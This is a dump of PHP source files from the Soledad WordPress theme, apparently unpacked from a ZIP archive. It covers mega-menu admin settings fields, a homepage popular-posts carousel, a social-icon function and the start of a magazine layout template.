		$penci_block_list = penci_builder_block_list();

		$menu_control .= '<p class="description description-wide penci-soledad-description penci-hide-child">';
		$menu_control .= '<label>Mega Menu Type</label>';
		$menu_control .= '<select style="' . $style . '" name="penci_menu_type[' . $item->ID . ']" id="" class="widefat code edit-menu-item-mgstyle">';
		$menu_control .= '<option value=""' . selected( $penci_menu_type, '', false ) . '>Default</option>';
		$menu_control .= '<option value="mega-menu"' . selected( $penci_menu_type, 'mega-menu', false ) . '>Mega Menu Builder</option>';
		$menu_control .= ' </select>';
		$menu_control .= '</p>';

		$menu_control .= '<p class="description penci-mn-settings mega-menu-select description-wide penci-soledad-description penci-hide-child">';
		$menu_control .= '<label>Select Penci Block</label>';
		$menu_control .= '<select style="' . $style . '" name="penci_menu_block[' . $item->ID . ']" id="" class="pcblock-select widefat code edit-menu-item-url">';
		unset( $penci_block_list[''] );
		$menu_control .= '<option data-id="" value="">' . __( 'None', 'soledad' ) . '</option>';
		foreach ( $penci_block_list as $block_slug => $block_name ) {
			$block_id      = get_page_by_path( $block_slug, OBJECT, 'penci-block' );
			$block_id      = isset( $block_id->ID ) && $block_id->ID ? $block_id->ID : '';
			$menu_control .= '<option data-id="' . $block_id . '" value="' . $block_slug . '"' . selected( $block_slug, $penci_menu_block, false ) . '>' . $block_name . ' (ID: ' . $block_id . ')</option>';
		}
		$menu_control .= ' </select>';

		$penci_menu_block_id = 'blockid';
		if ( $penci_menu_block ) {
			$penci_menu_block_id = get_page_by_path( $penci_menu_block, OBJECT, 'penci-block' );
			$penci_menu_block_id = isset( $penci_menu_block_id->ID ) && $penci_menu_block_id->ID ? $penci_menu_block_id->ID : '';
		}
		$menu_control .= '<span class="description pcajax-change"><a target="_blank" class="penciblock-edit-link" data-url="' . esc_url( admin_url( 'post.php?action=edit&post=' ) ) . '" href="' . esc_url( admin_url( 'post.php?action=edit&post=' . $penci_menu_block_id . '' ) ) . '">Edit This Block</a> | <a target="_blank" href="' . esc_url( admin_url( 'edit.php?post_type=penci-block' ) ) . '">' . __( 'Add New Block', 'soledad' ) . '</a></span>';
		$menu_control .= '<span class="description pcajax-none">' . __( 'You can add new a Penci Block on <a target="_blank" href="' . esc_url( admin_url( 'edit.php?post_type=penci-block' ) ) . '">this page</a>', 'soledad' ) . '</span>';

		$menu_control .= '</p>';

		$menu_control .= '<p class="description penci-mn-settings mega-menu-select description-wide penci-soledad-description penci-hide-child">';
		$menu_control .= '<label>Mega Menu Position</label>';
		$menu_control .= '<select style="' . $style . '" name="penci_menu_pos[' . $item->ID . ']" id="" class="widefat code edit-menu-item-url">';
		$menu_control .= '<option value="flexible"' . selected( $penci_menu_pos, 'flexible', false ) . '>Flexible</option>';
		$menu_control .= '<option value="center"' . selected( $penci_menu_pos, 'center', false ) . '>Center</option>';
		$menu_control .= ' </select>';
		$menu_control .= '</p>';

		$menu_control .= '<p class="description penci-mn-settings mega-menu-select description-wide penci-soledad-description penci-hide-child">';
		$menu_control .= '<label>Maxium Width: (Eg: 100% or 100px)<br>If you want this mega menu to display with full 100% width to the edge of the browser - fill: &nbsp;&nbsp;<strong>full</strong></label>';
		$menu_control .= '<input value="' . $penci_menu_mw . '" type="text" style="' . $style . '" name="penci_menu_mw[' . $item->ID . ']" id="" class="widefat code edit-menu-item-url">';
		$menu_control .= '</p>';

		$menu_control .= '<p class="description penci-mn-settings mega-menu-select description-wide penci-soledad-description penci-hide-child">';
		$menu_control .= '<label>Min Height: (Eg: 100% or 300px)</label>';
		$menu_control .= '<input value="' . $penci_menu_mh . '" type="text" style="' . $style . '" name="penci_menu_mh[' . $item->ID . ']" id="" class="widefat code edit-menu-item-url">';
		$menu_control .= '</p>';

		$menu_control .= '<p class="description penci-mn-settings mega-menu-select description-wide penci-soledad-description penci-hide-child">';
		$menu_control .= '<label>Load Penci Block Dropdown with AJAX?</label>';
		$menu_control .= '<select style="' . $style . '" name="penci_menu_load[' . $item->ID . ']" id="" class="widefat code edit-menu-item-url">';
		$menu_control .= '<option value="yes"' . selected( $penci_menu_load, 'yes', false ) . '>Yes</option>';
		$menu_control .= '<option value="no"' . selected( $penci_menu_load, 'no', false ) . '>No</option>';
		$menu_control .= ' </select>';
		$menu_control .= '</p>';

		$menu_control .= '<p class="description penci-mn-settings mega-menu-select description-wide penci-soledad-description penci-hide-child">';
		$menu_control .= '<label style="display:block">Mega Menu Background Color</label>';
		$menu_control .= '<input value="' . $penci_menu_bgcl . '" type="text" style="' . $style . '" name="penci_menu_bgcl[' . $item->ID . ']" id="penci_menu_bgcl_' . $item->ID . '" class="widefat code color-picker edit-menu-item-url">';
		$menu_control .= '</p>';

		$img_wrap_class = $data_img = '';
		$img_label      = esc_attr__( 'Upload Background Image', 'soledad' );
		if ( $penci_menu_bgimg ) {
			$data_img       = wp_get_attachment_image_src( $penci_menu_bgimg, 'thumbnail' );
			$data_img       = $data_img[0] ?? '';
			$img_wrap_class = ' active';
			$img_label      = esc_attr__( 'Change Background Image', 'soledad' );
		}

		$menu_control .= '<p data-imgid="' . esc_attr( $item->ID ) . '" class="description penci-mn-settings mega-menu-select description-wide penci-soledad-description penci-hide-child">';
		$menu_control .= '<label style="display:block">Mega Menu Background Image</label>';
		$menu_control .= '<span class="menu-mn-g">';
		$menu_control .= '<span class="penci_menu_bgimg_btn">' . $img_label . '</span>';
		$menu_control .= '<span class="penci_menu_bgimg_delete_btn' . $img_wrap_class . '">Delete</span>';
		$menu_control .= '</span>';
		$menu_control .= '<input type="hidden" class="custom_media_id widefat code edit-menu-item-url" id="penci_menu_bgimg[' . $item->ID . ']" name="penci_menu_bgimg[' . $item->ID . ']" value="' . $penci_menu_bgimg . '" />';
		$menu_control .= '<span class="pc-mn-image-wrapper' . $img_wrap_class . '"><img style="max-width:70px;height:auto;" class="custom_media_image" src="' . esc_url( $data_img ) . '" alt="" /></span>';
		$menu_control .= '</p>';

		$menu_control .= '<p class="description penci-mn-settings cat-menu-select description-wide penci-soledad-description penci-hide-child">';
		$menu_control .= '<label>';
		$menu_control .= 'Ensure that it is a category mega menu. Make sure the selected category has posts, the menu item you choose is a top-level item, and it does not have any child menu items.';
		$menu_control .= '</label>';

		$menu_control .= '<select style="' . $style . '" name="penci_cat_mega_menu[' . $item->ID . ']" id="" class="widefat code edit-menu-item-url">';
		foreach ( $td_category_tree as $category => $category_id ) {
			$menu_control .= '<option value="' . $category_id . '"' . selected( $penci_cat_mega_menu, $category_id, false ) . '>' . $category . '</option>';
		}
		$menu_control .= ' </select>';
		$menu_control .= '</p>';

		$menu_control .= '<p class="description penci-mn-settings cat-menu-select description-wide penci-soledad-description penci-hide-child">';
		$menu_control .= '<label>';
		$menu_control .= 'Choose the item style.';
		$menu_control .= '</label>';

		$menu_control .= '<select style="' . $style . '" name="penci_style_mega_menu[' . $item->ID . ']" id="" class="widefat code edit-menu-item-url">';
		$menu_control .= '<option value="1"' . selected( $penci_style_mega_menu, '1', false ) . '>' . __( 'Style 1', 'soledad' ) . '</option>';
		$menu_control .= '<option value="2"' . selected( $penci_style_mega_menu, '2', false ) . '>' . __( 'Style 2', 'soledad' ) . '</option>';
		$menu_control .= '<option value="3"' . selected( $penci_style_mega_menu, '3', false ) . '>' . __( 'Style 3', 'soledad' ) . '</option>';
		$menu_control .= '<option value="4"' . selected( $penci_style_mega_menu, '4', false ) . '>' . __( 'Style 4', 'soledad' ) . '</option>';
		$menu_control .= '<option value="5"' . selected( $penci_style_mega_menu, '5', false ) . '>' . __( 'Style 5', 'soledad' ) . '</option>';
		$menu_control .= ' </select>';
		$menu_control .= '</p>';

		$menu_control .= '<p class="description penci-mn-settings cat-menu-select description-wide penci-soledad-description penci-hide-child">';
		$menu_control .= '<label>';
		$menu_control .= 'Choose the position for the tabs';
		$menu_control .= '</label>';

		$menu_control .= '<select style="' . $style . '" name="penci_position_mega_menu[' . $item->ID . ']" id="" class="widefat code edit-menu-item-url">';
		$menu_control .= '<option value="side"' . selected( $penci_position_mega_menu, 'side', false ) . '>Side</option>';
		$menu_control .= '<option value="top"' . selected( $penci_position_mega_menu, 'top', false ) . '>Top</option>';
		$menu_control .= '<option value="bottom"' . selected( $penci_position_mega_menu, 'bottom', false ) . '>Bottom</option>';
		$menu_control .= ' </select>';
		$menu_control .= '</p>';

		$menu_control .= '<p class="description penci-mn-settings cat-menu-select description-wide penci-soledad-description penci-hide-child">';
		$menu_control .= '<label>';
		$menu_control .= 'Select the number of rows to display posts in this category mega menu.';
		$menu_control .= '</label>';

		$menu_control .= '<select style="' . $style . '" name="penci_number_mega_menu[' . $item->ID . ']" id="" class="widefat code edit-menu-item-url">';
		$menu_control .= '<option value="1"' . selected( $penci_number_mega_menu, '1', false ) . '>1 row</option>';
		$menu_control .= '<option value="2"' . selected( $penci_number_mega_menu, '2', false ) . '>2 rows</option>';
		$menu_control .= '<option value="3"' . selected( $penci_number_mega_menu, '3', false ) . '>3 rows</option>';
		$menu_control .= ' </select>';
		$menu_control .= '</p>';

		$menu_control .= '<p class="description all-menu-select description-wide penci-soledad-description penci-hide-child">';
		$menu_control .= '<label>Label Text</label>';
		$menu_control .= '<input value="' . $penci_menu_lbtxt . '" type="text" style="' . $style . '" name="penci_menu_lbtxt[' . $item->ID . ']" id="" class="widefat code edit-menu-item-url">';
		$menu_control .= '</p>';

		$menu_control .= '<p class="description all-menu-select description-wide penci-soledad-description penci-hide-child">';
		$menu_control .= '<label>Label Style</label>';
		$menu_control .= '<select style="' . $style . '" name="penci_menu_lbs[' . $item->ID . ']" id="" class="widefat code edit-menu-item-url">';
		$menu_control .= '<option value="1"' . selected( $penci_menu_lbs, '1', false ) . '>' . __( 'Style 1', 'soledad' ) . '</option>';
		$menu_control .= '<option value="2"' . selected( $penci_menu_lbs, '2', false ) . '>' . __( 'Style 2', 'soledad' ) . '</option>';
		$menu_control .= '<option value="4"' . selected( $penci_menu_lbs, '4', false ) . '>' . __( 'Style 3', 'soledad' ) . '</option>';
		$menu_control .= ' </select>';
		$menu_control .= '</p>';

		$menu_control .= '<p class="description all-menu-select description-wide penci-soledad-description penci-hide-child">';
		$menu_control .= '<label style="display:block">Label Text Color</label>';
		$menu_control .= '<input value="' . $penci_menu_lbcl . '" type="text" style="' . $style . '" name="penci_menu_lbcl[' . $item->ID . ']" id="penci_menu_lbcl_' . $item->ID . '" class="widefat code color-picker edit-menu-item-url">';
		$menu_control .= '</p>';

		$menu_control .= '<p class="description all-menu-select description-wide penci-soledad-description penci-hide-child">';
		$menu_control .= '<label style="display:block">Label Background Color</label>';
		$menu_control .= '<input value="' . $penci_menu_lbbg . '" type="text" style="' . $style . '" name="penci_menu_lbbg[' . $item->ID . ']" id="penci_menu_lbbg_' . $item->ID . '" class="widefat code color-picker edit-menu-item-url">';
		$menu_control .= '</p>';

		$menu_control .= '<p class="description all-menu-select description-wide penci-soledad-description penci-hide-child">';
		$menu_control .= '<label>Page Anchor (for one-page menu)</label>';
		$menu_control .= '<select style="' . $style . '" name="penci_menu_anchor[' . $item->ID . ']" id="" class="widefat code edit-menu-item-url">';
		$menu_control .= '<option value=""' . selected( $penci_menu_anchor, '', false ) . '>Disable</option>';
		$menu_control .= '<option value="enable"' . selected( $penci_menu_anchor, 'enable', false ) . '>Enable</option>';
		$menu_control .= ' </select>';
		$menu_control .= '</p>';
		
		$menu_control .= '<p class="description all-menu-select description-wide penci-soledad-description">';
		$menu_control .= '<label>Show this menu for</label>';
		$menu_control .= '<select style="' . $style . '" name="penci_menu_visible[' . $item->ID . ']" id="" class="widefat code edit-menu-item-url">';
		$menu_control .= '<option value=""' . selected( $penci_menu_visible, '', false ) . '>All Users</option>';
		$menu_control .= '<option value="loggedin"' . selected( $penci_menu_visible, 'loggedin', false ) . '>Logged In Users</option>';
		$menu_control .= '<option value="visitor"' . selected( $penci_menu_visible, 'visitor', false ) . '>Non-Logged In Users</option>';
		$menu_control .= ' </select>';
		$menu_control .= '</p>';

		parent::start_el( $menu_return, $item, $depth, $args, $id );

		$menu_return = preg_replace( '/(?=<div.*submitbox)/', $menu_control, $menu_return );

		$output .= $menu_return;
	}
}
PK     0w\f       modules/home_popular.phpnu [        <?php
/**
 * Popular Posts in Homepage
 */

$number_posts         = get_theme_mod( 'penci_home_popular_post_numberposts' ) ? get_theme_mod( 'penci_home_popular_post_numberposts' ) : 10;
$popular_title_length = get_theme_mod( 'penci_home_polular_title_length' ) ? get_theme_mod( 'penci_home_polular_title_length' ) : 8;
$query                = array(
	'posts_per_page' => $number_posts,
	'post_type'      => 'post',
	'meta_key'       => penci_get_postviews_key(),
	'orderby'        => 'meta_value_num',
	'order'          => 'DESC'
);

if ( get_theme_mod( 'penci_home_popular_type' ) == 'week' ) {
	$query = array(
		'posts_per_page' => $number_posts,
		'post_type'      => 'post',
		'meta_key'       => 'penci_post_week_views_count',
		'orderby'        => 'meta_value_num',
		'order'          => 'DESC'
	);
} elseif ( get_theme_mod( 'penci_home_popular_type' ) == 'month' ) {
	$query = array(
		'posts_per_page' => $number_posts,
		'post_type'      => 'post',
		'meta_key'       => 'penci_post_month_views_count',
		'orderby'        => 'meta_value_num',
		'order'          => 'DESC'
	);
} elseif ( get_theme_mod( 'penci_home_popular_type' ) == 'jetpack' ) {
	$query = array(
		'posts_per_page' => $number_posts,
		'post_type'      => 'post',
		'meta_key'       => '_jetpack_post_view',
		'orderby'        => 'meta_value_num',
		'order'          => 'DESC'
	);
}

$popular_cat = get_theme_mod( 'penci_home_popular_cat' );
if ( $popular_cat && '0' != $popular_cat ):
	$query['cat'] = $popular_cat;
endif;

$popular = new WP_Query( $query );

if ( $popular->have_posts() ) {
	$data_loop            = '';
	$data_nav             = get_theme_mod( 'penci_home_popular_shownav' ) ? 'true' : 'false';
	$data_dots            = get_theme_mod( 'penci_home_popular_hidedots' ) ? 'false' : 'true';
	$number_posts_display = $popular->post_count;
	if ( $number_posts_display < 5 ):
		$data_loop = ' data-loop="false"';
	endif;
	$popular_title = get_theme_mod( 'penci_home_popular_title' );
	?>
    <div class="container penci-home-popular-posts">
        <h2 class="home-pupular-posts-title">
		<span>
			<?php echo penci_get_setting( 'penci_home_popular_title' ); ?>
		</span>
        </h2>
        <div class="swiper penci-owl-carousel penci-owl-carousel-slider penci-related-carousel penci-home-popular-post"<?php echo $data_loop; ?>
             data-lazy="true" data-item="4" data-desktop="4" data-tablet="3" data-tabsmall="2" data-auto="false"
             data-speed="300" data-dots="<?php echo $data_dots; ?>" data-nav="<?php echo $data_nav; ?>">
            <div class="swiper-wrapper">
				<?php while ( $popular->have_posts() ) : $popular->the_post(); ?>
                    <div class="item-related swiper-slide">
                        <div class="item-related-inner">
							<?php if ( ( function_exists( 'has_post_thumbnail' ) ) && ( has_post_thumbnail() ) ) : ?>
								<?php do_action( 'penci_bookmark_post', get_the_ID() ); ?>

                                <a <?php echo penci_layout_bg( penci_get_featured_image_size( get_the_ID(), penci_featured_images_size() ) ); ?> class="<?php echo penci_layout_bg_class();?> related-thumb penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                                   href="<?php the_permalink() ?>"
                                   title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
									<?php echo penci_layout_img( penci_get_featured_image_size( get_the_ID(), penci_featured_images_size() ), get_the_title() ); ?>


									<?php if ( has_post_thumbnail() && get_theme_mod( 'penci_enable_home_popular_icons' ) ): ?>
										<?php if ( has_post_format( 'video' ) ) : ?>
											<?php penci_fawesome_icon( 'fas fa-play' ); ?>
										<?php endif; ?>
										<?php if ( has_post_format( 'audio' ) ) : ?>
											<?php penci_fawesome_icon( 'fas fa-music' ); ?>
										<?php endif; ?>
										<?php if ( has_post_format( 'link' ) ) : ?>
											<?php penci_fawesome_icon( 'fas fa-link' ); ?>
										<?php endif; ?>
										<?php if ( has_post_format( 'quote' ) ) : ?>
											<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
										<?php endif; ?>
										<?php if ( has_post_format( 'gallery' ) ) : ?>
											<?php penci_fawesome_icon( 'far fa-image' ); ?>
										<?php endif; ?>
									<?php endif; ?>
                                </a>
							<?php endif; ?>

                            <h3 class="entry-title"><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                                       href="<?php the_permalink(); ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $popular_title_length, '...' ); ?></a>
                            </h3>
							<?php if ( ! get_theme_mod( 'penci_hide_date_home_popular' ) ) : ?>
                                <span class="date"><?php penci_soledad_time_link(); ?></span>
							<?php endif; ?>
                        </div>
                    </div>
				<?php
				endwhile;
				?>
            </div>
        </div>
    </div>
	<?php
}
wp_reset_postdata();
?>

PK     0w\)X%  %    modules/svg-social.phpnu [        <?php
/* Function callback render svg icons */
if ( ! function_exists( 'penci_svg_social' ) ) {
	function penci_svg_social( $icon, $size = null ) {
		$return = '';
		$size_freturn = $size_wreturn = '';
		if( $size ) {
			$size_wreturn = ' style="width: '. $size .'px;"';
			$size_freturn = ' style="font-size: '. $size .'px;"';
		}
		$fontawesome_ver5 = get_theme_mod( 'penci_fontawesome_ver5' );
		

		if( $fontawesome_ver5 ) {
			if( $icon == 'line' ) {
				$return = '<i class="fab fa-line"'. $size_freturn .'></i>';
			} else if( $icon == 'viber' ) {
				$return = '<i class="fab fa-viber"'. $size_freturn .'></i>';
			} else if( $icon == 'discord' ) {
				$return = '<i class="fab fa-discord"'. $size_freturn .'></i>';
			} else if( $icon == 'goodreads' ) {
				$return = '<i class="fab fa-goodreads"'. $size_freturn .'></i>';
			} else if( $icon == 'tiktok' ) {
				//$return = '<i class="penci-icon-tiktok"><svg aria-hidden="true"'. $size_wreturn .' data-prefix="fab" data-icon="tiktok" class="penci-svg-tiktok" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><path fill="currentColor" d="M448,209.91a210.06,210.06,0,0,1-122.77-39.25V349.38A162.55,162.55,0,1,1,185,188.31V278.2a74.62,74.62,0,1,0,52.23,71.18V0l88,0a121.18,121.18,0,0,0,1.86,22.17h0A122.18,122.18,0,0,0,381,102.39a121.43,121.43,0,0,0,67,20.14Z" class=""></path></svg></i>';
				$return = '<i class="penciicon-tik-tok"'. $size_freturn .'></i>';
			} else if( $icon == 'messenger' ) {
				$return = '<i class="fab fa-facebook-messenger"'. $size_freturn .'></i>';
			} else if( $icon == 'douban' ) {
				$return = '<i class="penciicon-douban-logo"'. $size_freturn .'></i>';
			} else if( $icon == 'qq' ) {
				$return = '<i class="penciicon-qq-social-logo-of-a-penguin"'. $size_freturn .'></i>';
			}
		} else {
			if( $icon == 'line' ) {
				$return = '<i class="penciicon-line"'. $size_freturn .'></i>';
				//$return = '<i class="penci-icon-line"><svg aria-hidden="true"'. $size_wreturn .' data-prefix="fab" data-icon="line" class="penci-svg-line" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><path fill="currentColor" d="M272.1 204.2v71.1c0 1.8-1.4 3.2-3.2 3.2h-11.4c-1.1 0-2.1-.6-2.6-1.3l-32.6-44v42.2c0 1.8-1.4 3.2-3.2 3.2h-11.4c-1.8 0-3.2-1.4-3.2-3.2v-71.1c0-1.8 1.4-3.2 3.2-3.2H219c1 0 2.1.5 2.6 1.4l32.6 44v-42.2c0-1.8 1.4-3.2 3.2-3.2h11.4c1.8-.1 3.3 1.4 3.3 3.1zm-82-3.2h-11.4c-1.8 0-3.2 1.4-3.2 3.2v71.1c0 1.8 1.4 3.2 3.2 3.2h11.4c1.8 0 3.2-1.4 3.2-3.2v-71.1c0-1.7-1.4-3.2-3.2-3.2zm-27.5 59.6h-31.1v-56.4c0-1.8-1.4-3.2-3.2-3.2h-11.4c-1.8 0-3.2 1.4-3.2 3.2v71.1c0 .9.3 1.6.9 2.2.6.5 1.3.9 2.2.9h45.7c1.8 0 3.2-1.4 3.2-3.2v-11.4c0-1.7-1.4-3.2-3.1-3.2zM332.1 201h-45.7c-1.7 0-3.2 1.4-3.2 3.2v71.1c0 1.7 1.4 3.2 3.2 3.2h45.7c1.8 0 3.2-1.4 3.2-3.2v-11.4c0-1.8-1.4-3.2-3.2-3.2H301v-12h31.1c1.8 0 3.2-1.4 3.2-3.2V234c0-1.8-1.4-3.2-3.2-3.2H301v-12h31.1c1.8 0 3.2-1.4 3.2-3.2v-11.4c-.1-1.7-1.5-3.2-3.2-3.2zM448 113.7V399c-.1 44.8-36.8 81.1-81.7 81H81c-44.8-.1-81.1-36.9-81-81.7V113c.1-44.8 36.9-81.1 81.7-81H367c44.8.1 81.1 36.8 81 81.7zm-61.6 122.6c0-73-73.2-132.4-163.1-132.4-89.9 0-163.1 59.4-163.1 132.4 0 65.4 58 120.2 136.4 130.6 19.1 4.1 16.9 11.1 12.6 36.8-.7 4.1-3.3 16.1 14.1 8.8 17.4-7.3 93.9-55.3 128.2-94.7 23.6-26 34.9-52.3 34.9-81.5z"></path></svg></i>';
			} else if( $icon == 'viber' ) {
				$return = '<i class="penciicon-viber"'. $size_freturn .'></i>';
				//$return = '<i class="penci-icon-viber"><svg aria-hidden="true"'. $size_wreturn .' data-prefix="fab" data-icon="viber" class="penci-svg-viber" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path fill="currentColor" d="M444 49.9C431.3 38.2 379.9.9 265.3.4c0 0-135.1-8.1-200.9 52.3C27.8 89.3 14.9 143 13.5 209.5c-1.4 66.5-3.1 191.1 117 224.9h.1l-.1 51.6s-.8 20.9 13 25.1c16.6 5.2 26.4-10.7 42.3-27.8 8.7-9.4 20.7-23.2 29.8-33.7 82.2 6.9 145.3-8.9 152.5-11.2 16.6-5.4 110.5-17.4 125.7-142 15.8-128.6-7.6-209.8-49.8-246.5zM457.9 287c-12.9 104-89 110.6-103 115.1-6 1.9-61.5 15.7-131.2 11.2 0 0-52 62.7-68.2 79-5.3 5.3-11.1 4.8-11-5.7 0-6.9.4-85.7.4-85.7-.1 0-.1 0 0 0-101.8-28.2-95.8-134.3-94.7-189.8 1.1-55.5 11.6-101 42.6-131.6 55.7-50.5 170.4-43 170.4-43 96.9.4 143.3 29.6 154.1 39.4 35.7 30.6 53.9 103.8 40.6 211.1zm-139-80.8c.4 8.6-12.5 9.2-12.9.6-1.1-22-11.4-32.7-32.6-33.9-8.6-.5-7.8-13.4.7-12.9 27.9 1.5 43.4 17.5 44.8 46.2zm20.3 11.3c1-42.4-25.5-75.6-75.8-79.3-8.5-.6-7.6-13.5.9-12.9 58 4.2 88.9 44.1 87.8 92.5-.1 8.6-13.1 8.2-12.9-.3zm47 13.4c.1 8.6-12.9 8.7-12.9.1-.6-81.5-54.9-125.9-120.8-126.4-8.5-.1-8.5-12.9 0-12.9 73.7.5 133 51.4 133.7 139.2zM374.9 329v.2c-10.8 19-31 40-51.8 33.3l-.2-.3c-21.1-5.9-70.8-31.5-102.2-56.5-16.2-12.8-31-27.9-42.4-42.4-10.3-12.9-20.7-28.2-30.8-46.6-21.3-38.5-26-55.7-26-55.7-6.7-20.8 14.2-41 33.3-51.8h.2c9.2-4.8 18-3.2 23.9 3.9 0 0 12.4 14.8 17.7 22.1 5 6.8 11.7 17.7 15.2 23.8 6.1 10.9 2.3 22-3.7 26.6l-12 9.6c-6.1 4.9-5.3 14-5.3 14s17.8 67.3 84.3 84.3c0 0 9.1.8 14-5.3l9.6-12c4.6-6 15.7-9.8 26.6-3.7 14.7 8.3 33.4 21.2 45.8 32.9 7 5.7 8.6 14.4 3.8 23.6z"></path></svg></i>';
			} else if( $icon == 'discord' ) {
				$return = '<i class="penciicon-discord"'. $size_freturn .'></i>';
				//$return = '<i class="penci-icon-discord"><svg aria-hidden="true"'. $size_wreturn .' data-prefix="fab" data-icon="discord" class="penci-svg-discord" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><path fill="currentColor" d="M297.216 243.2c0 15.616-11.52 28.416-26.112 28.416-14.336 0-26.112-12.8-26.112-28.416s11.52-28.416 26.112-28.416c14.592 0 26.112 12.8 26.112 28.416zm-119.552-28.416c-14.592 0-26.112 12.8-26.112 28.416s11.776 28.416 26.112 28.416c14.592 0 26.112-12.8 26.112-28.416.256-15.616-11.52-28.416-26.112-28.416zM448 52.736V512c-64.494-56.994-43.868-38.128-118.784-107.776l13.568 47.36H52.48C23.552 451.584 0 428.032 0 398.848V52.736C0 23.552 23.552 0 52.48 0h343.04C424.448 0 448 23.552 448 52.736zm-72.96 242.688c0-82.432-36.864-149.248-36.864-149.248-36.864-27.648-71.936-26.88-71.936-26.88l-3.584 4.096c43.52 13.312 63.744 32.512 63.744 32.512-60.811-33.329-132.244-33.335-191.232-7.424-9.472 4.352-15.104 7.424-15.104 7.424s21.248-20.224 67.328-33.536l-2.56-3.072s-35.072-.768-71.936 26.88c0 0-36.864 66.816-36.864 149.248 0 0 21.504 37.12 78.08 38.912 0 0 9.472-11.52 17.152-21.248-32.512-9.728-44.8-30.208-44.8-30.208 3.766 2.636 9.976 6.053 10.496 6.4 43.21 24.198 104.588 32.126 159.744 8.96 8.96-3.328 18.944-8.192 29.44-15.104 0 0-12.8 20.992-46.336 30.464 7.68 9.728 16.896 20.736 16.896 20.736 56.576-1.792 78.336-38.912 78.336-38.912z" class=""></path></svg></i>';
			} else if( $icon == 'goodreads' ) {
				$return = '<i class="penciicon-goodreads"'. $size_freturn .'></i>';
				//$return = '<i class="penci-icon-goodreads"><svg aria-hidden="true"'. $size_wreturn .' data-prefix="fab" data-icon="goodreads" class="penci-svg-goodreads" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><path fill="currentColor" d="M299.9 191.2c5.1 37.3-4.7 79-35.9 100.7-22.3 15.5-52.8 14.1-70.8 5.7-37.1-17.3-49.5-58.6-46.8-97.2 4.3-60.9 40.9-87.9 75.3-87.5 46.9-.2 71.8 31.8 78.2 78.3zM448 88v336c0 30.9-25.1 56-56 56H56c-30.9 0-56-25.1-56-56V88c0-30.9 25.1-56 56-56h336c30.9 0 56 25.1 56 56zM330 313.2s-.1-34-.1-217.3h-29v40.3c-.8.3-1.2-.5-1.6-1.2-9.6-20.7-35.9-46.3-76-46-51.9.4-87.2 31.2-100.6 77.8-4.3 14.9-5.8 30.1-5.5 45.6 1.7 77.9 45.1 117.8 112.4 115.2 28.9-1.1 54.5-17 69-45.2.5-1 1.1-1.9 1.7-2.9.2.1.4.1.6.2.3 3.8.2 30.7.1 34.5-.2 14.8-2 29.5-7.2 43.5-7.8 21-22.3 34.7-44.5 39.5-17.8 3.9-35.6 3.8-53.2-1.2-21.5-6.1-36.5-19-41.1-41.8-.3-1.6-1.3-1.3-2.3-1.3h-26.8c.8 10.6 3.2 20.3 8.5 29.2 24.2 40.5 82.7 48.5 128.2 37.4 49.9-12.3 67.3-54.9 67.4-106.3z" class=""></path></svg></i>';
			} else if( $icon == 'tiktok' ) {
				$return = '<i class="penciicon-tik-tok"'. $size_freturn .'></i>';
				//$return = '<i class="penci-icon-tiktok"><svg aria-hidden="true"'. $size_wreturn .' data-prefix="fab" data-icon="tiktok" class="penci-svg-tiktok" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><path fill="currentColor" d="M448,209.91a210.06,210.06,0,0,1-122.77-39.25V349.38A162.55,162.55,0,1,1,185,188.31V278.2a74.62,74.62,0,1,0,52.23,71.18V0l88,0a121.18,121.18,0,0,0,1.86,22.17h0A122.18,122.18,0,0,0,381,102.39a121.43,121.43,0,0,0,67,20.14Z" class=""></path></svg></i>';
			} else if( $icon == 'messenger' ) {
				$return = '<i class="penciicon-messenger"'. $size_freturn .'></i>';
				//$return = '<i class="penci-icon-messenger"><svg aria-hidden="true"'. $size_wreturn .' data-prefix="fab" data-icon="facebook-messenger" class="penci-svg-messenger" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" class="svg-inline--fa fa-facebook-messenger fa-w-16 fa-3x"><path fill="currentColor" d="M256.55 8C116.52 8 8 110.34 8 248.57c0 72.3 29.71 134.78 78.07 177.94 8.35 7.51 6.63 11.86 8.05 58.23A19.92 19.92 0 0 0 122 502.31c52.91-23.3 53.59-25.14 62.56-22.7C337.85 521.8 504 423.7 504 248.57 504 110.34 396.59 8 256.55 8zm149.24 185.13l-73 115.57a37.37 37.37 0 0 1-53.91 9.93l-58.08-43.47a15 15 0 0 0-18 0l-78.37 59.44c-10.46 7.93-24.16-4.6-17.11-15.67l73-115.57a37.36 37.36 0 0 1 53.91-9.93l58.06 43.46a15 15 0 0 0 18 0l78.41-59.38c10.44-7.98 24.14 4.54 17.09 15.62z" class=""></path></svg></i>';
			} else if( $icon == 'douban' ) {
				$return = '<i class="penciicon-douban-logo"'. $size_freturn .'></i>';
			} else if( $icon == 'qq' ) {
				$return = '<i class="penciicon-qq-social-logo-of-a-penguin"'. $size_freturn .'></i>';
			}
		}
		return $return;
	}
}PK     0w\AK      modules/magazine-style-14.phpnu [        <?php
/**
 * Template display for featured category style 14
 *
 * @since 1.0
 */
?>

<div class="mag-post-box hentry<?php if ( $m == 1 ): echo ' first-post'; endif; ?>">
	<?php if ( $m == 1 ) { ?>
        <div class="magcat-thumb">
			<?php
			$size_pie = 'small';
			if ( $m == 1 ): $size_pie = 'normal'; endif;
			do_action( 'penci_bookmark_post', get_the_ID(), $size_pie );
			/* Display Review Piechart  */
			if ( function_exists( 'penci_display_piechart_review_html' ) ) {
				penci_display_piechart_review_html( get_the_ID(), $size_pie );
			}
			?>

            <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size() ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php if ( $m > 1 ): echo ' small-fix-size'; endif; ?><?php echo penci_class_lightbox_enable(); ?>"
               href="<?php penci_permalink_fix(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
